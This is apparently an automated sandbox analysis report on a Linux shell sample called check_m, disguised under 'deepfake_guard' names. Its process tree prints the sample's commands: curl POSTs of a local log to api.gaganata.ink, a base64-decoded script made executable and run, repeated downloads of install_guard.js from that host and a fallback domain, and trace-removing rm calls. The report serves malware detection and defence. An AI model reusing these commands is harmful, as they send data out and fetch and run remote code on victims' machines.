4da6c03f57849fd3d595928d3ad5a0793362b122f491e6389033595eb5561f56

Analysis

max time kernel
149s
max time network
131s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02/08/2026, 16:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
check_m
Size 40KB
Sample260802-tkp82astcy
SHA256 4da6c03f57849fd3d595928d3ad5a0793362b122f491e6389033595eb5561f56
MD5 e45c686cd64b178f45af0ec8335a3ccc
SHA1 071f77d888b2aea87404494c0b3d57a58365b0d2
SHA512 c1e1d1464e5b065aa3788108befe97c419db1d894258f10350763f0d1fc31546e5bbe2248f5c9acc02d5f03c1a51555dead1c6900879ea5b9021dbd3d40f5f99
SSDEEP 384:5qyup4RdmnlgIxYqtcmFpdQs/n+nSgZfPep7Z2SbZky6zlBf52+6uBY72c:5qyu9lddrwnSghpvYuBYqc
TLSH
T1D703C37E99B5D878822D581459DD3BC402CE27BEE4A206CA72F6378D963D0AC50C73B7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1520	chmod

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1513	base64
1514	base64

Reads runtime system information 5 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.6P7AC5	bash

/tmp/check_m
/tmp/check_m
1⤵
PID:1492
- /bin/rm
  rm -f /var/tmp/deepfake_guard.launcher.status
  2⤵
  PID:1494
- /bin/sleep
  sleep 1
  2⤵
  PID:1497
- /usr/bin/nohup
  nohup bash /tmp/check_m
  2⤵
  PID:1496
- /usr/local/sbin/bash
  bash /tmp/check_m
  2⤵
  PID:1496
- /usr/local/bin/bash
  bash /tmp/check_m
  2⤵
  PID:1496
- /usr/sbin/bash
  bash /tmp/check_m
  2⤵
  PID:1496
- /usr/bin/bash
  bash /tmp/check_m
  2⤵
  PID:1496
- /sbin/bash
  bash /tmp/check_m
  2⤵
  PID:1496
- /bin/bash
  bash /tmp/check_m
  2⤵
  PID:1496
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:1498
- - /bin/uname
    uname -s
    3⤵
    PID:1502
- - /bin/grep
    grep -qi ubuntu /etc/os-release
    3⤵
    PID:1503
- - /usr/bin/curl
    curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: ubuntu" --data-binary "@/var/tmp/deepfake_guard.log" --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 https://api.gaganata.ink/guard-install-log
    3⤵
    PID:1504
- - /bin/mktemp
    mktemp /var/tmp/.kdm.XXXXXX
    3⤵
    PID:1510
- - /usr/bin/base64
    base64 -D
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1513
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1514
- - /bin/chmod
    chmod 700 /var/tmp/.kdm.jDjdSV
    3⤵
    PID:1515
- - /bin/bash
    bash /var/tmp/.kdm.jDjdSV
    3⤵
    - Writes file to tmp directory
    PID:1516
  - - /bin/date
      date "+%Y-%m-%d %H:%M:%S"
      4⤵
      PID:1517
  - - /bin/mkdir
      mkdir -p /var/tmp/deepfake_guard_work
      4⤵
      Reads runtime system information
      PID:1518
  - - /bin/cat
      cat
      4⤵
      PID:1519
  - - /bin/chmod
      chmod +x /var/tmp/deepfake_guard_run.sh
      4⤵
      File and Directory Permissions Modification
      PID:1520
- - /bin/rm
    rm -f /var/tmp/.kdm.jDjdSV
    3⤵
    PID:1523
- - /bin/rm
    rm -f /var/tmp/upd_m /var/tmp/upd_w /tmp/upd_m /tmp/upd_w /tmp/check_m
    3⤵
    PID:1524
- - /bin/rm
    rm -f "/var/tmp/.kdm.*" /var/tmp/deepfake_guard.launcher.status
    3⤵
    PID:1526
- /bin/uname
  uname -s
  2⤵
  PID:1532
- /bin/grep
  grep -qi ubuntu /etc/os-release
  2⤵
  PID:1533
- /usr/bin/curl
  curl -sk -X POST -H "Content-Type: application/json" -H "X-Guard-Platform: ubuntu" -d "{\"ok\":true,\"upload\":false,\"exitCode\":0,\"message\":\"payload_ready\",\"platform\":\"ubuntu\"}" --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 https://api.gaganata.ink/guard-launcher-result
  2⤵
  PID:1534

/usr/bin/nohup
nohup bash /var/tmp/deepfake_guard_run.sh
1⤵
PID:1521

/usr/local/sbin/bash
bash /var/tmp/deepfake_guard_run.sh
1⤵
PID:1521

/usr/local/bin/bash
bash /var/tmp/deepfake_guard_run.sh
1⤵
PID:1521

/usr/sbin/bash
bash /var/tmp/deepfake_guard_run.sh
1⤵
PID:1521

/usr/bin/bash
bash /var/tmp/deepfake_guard_run.sh
1⤵
PID:1521

/sbin/bash
bash /var/tmp/deepfake_guard_run.sh
1⤵
PID:1521

/bin/bash
bash /var/tmp/deepfake_guard_run.sh
1⤵
PID:1521
- /bin/mkdir
  mkdir /var/tmp/deepfake_guard.lock.d
  2⤵
  - Reads runtime system information
  PID:1525
- /bin/mkdir
  mkdir -p /var/tmp/deepfake_guard_work
  2⤵
  - Reads runtime system information
  PID:1527
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1528
- /bin/sleep
  sleep 0.5
  2⤵
  PID:1529
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1536
- /bin/uname
  uname -s
  2⤵
  PID:1539
- /bin/grep
  grep -qi ubuntu /etc/os-release
  2⤵
  PID:1540
- /usr/bin/curl
  curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: ubuntu" --data-binary "@/var/tmp/deepfake_guard.log" --connect-timeout 30 --max-time 60 --retry 3 --retry-all-errors --retry-delay 3 https://api.gaganata.ink/guard-install-log
  2⤵
  PID:1541
- /bin/mkdir
  mkdir -p /var/tmp/deepfake_guard_work
  2⤵
  - Reads runtime system information
  PID:1543
- /bin/sleep
  sleep 60
  2⤵
  PID:1544
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1545
- /bin/uname
  uname -s
  2⤵
  PID:1549
- /bin/uname
  uname -m
  2⤵
  PID:1551
- /usr/bin/head
  head -1
  2⤵
  PID:1554
- /usr/bin/find
  find /var/tmp/deepfake_guard_work -type f -path "*/bin/node"
  2⤵
  - Reads runtime system information
  PID:1553
- /bin/uname
  uname -s
  2⤵
  PID:1557
- /usr/bin/node
  /usr/bin/node -v
  2⤵
  PID:1558
- /usr/bin/node
  /usr/bin/node -v
  2⤵
  PID:1560
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1561
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1562
- /usr/bin/curl
  curl -kfsSI --connect-timeout 10 --max-time 30 https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1563
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1566
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1567
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1569
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1570
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1571
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1573
- /bin/sleep
  sleep 2
  2⤵
  PID:1574
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1576
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1577
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1578
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1580
- /bin/sleep
  sleep 3
  2⤵
  PID:1581
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1583
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1584
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1585
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1587
- /bin/sleep
  sleep 4
  2⤵
  PID:1588
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1590
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1591
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1592
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1594
- /bin/sleep
  sleep 5
  2⤵
  PID:1595
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1597
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1598
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1599
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1601
- /bin/sleep
  sleep 6
  2⤵
  PID:1602
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1604
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1605
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1606
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1608
- /bin/sleep
  sleep 7
  2⤵
  PID:1609
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1611
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1612
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1613
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1615
- /bin/sleep
  sleep 8
  2⤵
  PID:1616
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1620
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1621
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1622
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1624
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1625
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1626
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1627
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1628
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1630
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1631
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  PID:1632
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1634
- /bin/sleep
  sleep 2
  2⤵
  PID:1635
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1637
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1638
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  PID:1639
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1641
- /bin/sleep
  sleep 3
  2⤵
  PID:1642
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1644
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1645
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  PID:1646
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1648
- /bin/sleep
  sleep 4
  2⤵
  PID:1649
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1651
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1652
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  PID:1653
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1655
- /bin/sleep
  sleep 5
  2⤵
  PID:1656
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1658
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1659
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  PID:1660
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1662
- /bin/sleep
  sleep 6
  2⤵
  PID:1663
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1665
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1666
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  PID:1667
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1669
- /bin/sleep
  sleep 7
  2⤵
  PID:1670
- /bin/sleep
  sleep 0.5
  2⤵
  PID:1671
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1672
- /bin/uname
  uname -s
  2⤵
  PID:1675
- /bin/grep
  grep -qi ubuntu /etc/os-release
  2⤵
  PID:1676
- /usr/bin/curl
  curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: ubuntu" --data-binary "@/var/tmp/deepfake_guard.log" --connect-timeout 30 --max-time 60 --retry 3 --retry-all-errors --retry-delay 3 https://api.gaganata.ink/guard-install-log
  2⤵
  PID:1677
- /bin/sleep
  sleep 60
  2⤵
  PID:1678
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1680
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1681
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  PID:1682
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1684
- /bin/sleep
  sleep 8
  2⤵
  PID:1685
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1687
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1688
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  PID:1689
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1691
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1692
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1693
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1694
- /bin/sleep
  sleep 2
  2⤵
  PID:1695
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1696
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1698
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1699
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1700
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1702
- /bin/sleep
  sleep 2
  2⤵
  PID:1703
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1705
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1706
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1707
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1709
- /bin/sleep
  sleep 3
  2⤵
  PID:1710
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1712
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1713
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1714
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1716
- /bin/sleep
  sleep 4
  2⤵
  PID:1717
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1719
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1720
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1721
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1723
- /bin/sleep
  sleep 5
  2⤵
  PID:1724
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1726
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1727
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1728
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1730
- /bin/sleep
  sleep 6
  2⤵
  PID:1731
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1733
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1734
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1735
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1737
- /bin/sleep
  sleep 7
  2⤵
  PID:1738
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1740
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1741
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1742
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1744
- /bin/sleep
  sleep 8
  2⤵
  PID:1745
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1747
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1748
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  PID:1749
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1751
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1752
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1753
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1754
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1755
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1757
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1758
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  PID:1759
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1761
- /bin/sleep
  sleep 2
  2⤵
  PID:1762
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1764
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1765
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  PID:1766
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1768
- /bin/sleep
  sleep 3
  2⤵
  PID:1769
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1771
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1772
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  PID:1773
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1775
- /bin/sleep
  sleep 4
  2⤵
  PID:1776
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1778
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1779
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  PID:1780
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1782
- /bin/sleep
  sleep 5
  2⤵
  PID:1783
- /bin/sleep
  sleep 0.5
  2⤵
  PID:1784
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1785
- /bin/uname
  uname -s
  2⤵
  PID:1788
- /bin/grep
  grep -qi ubuntu /etc/os-release
  2⤵
  PID:1789
- /usr/bin/curl
  curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: ubuntu" --data-binary "@/var/tmp/deepfake_guard.log" --connect-timeout 30 --max-time 60 --retry 3 --retry-all-errors --retry-delay 3 https://api.gaganata.ink/guard-install-log
  2⤵
  PID:1790
- /bin/sleep
  sleep 60
  2⤵
  PID:1791
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1793
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1794
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  PID:1795
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1797
- /bin/sleep
  sleep 6
  2⤵
  PID:1798
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1800
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1801
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  PID:1802
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1804
- /bin/sleep
  sleep 7
  2⤵
  PID:1805
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1807
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1808
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  PID:1809
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1811
- /bin/sleep
  sleep 8
  2⤵
  PID:1812
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1814
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1815
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  PID:1816
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1818
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1819
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1820
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1821
- /bin/sleep
  sleep 3
  2⤵
  PID:1822
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1823
- /bin/date
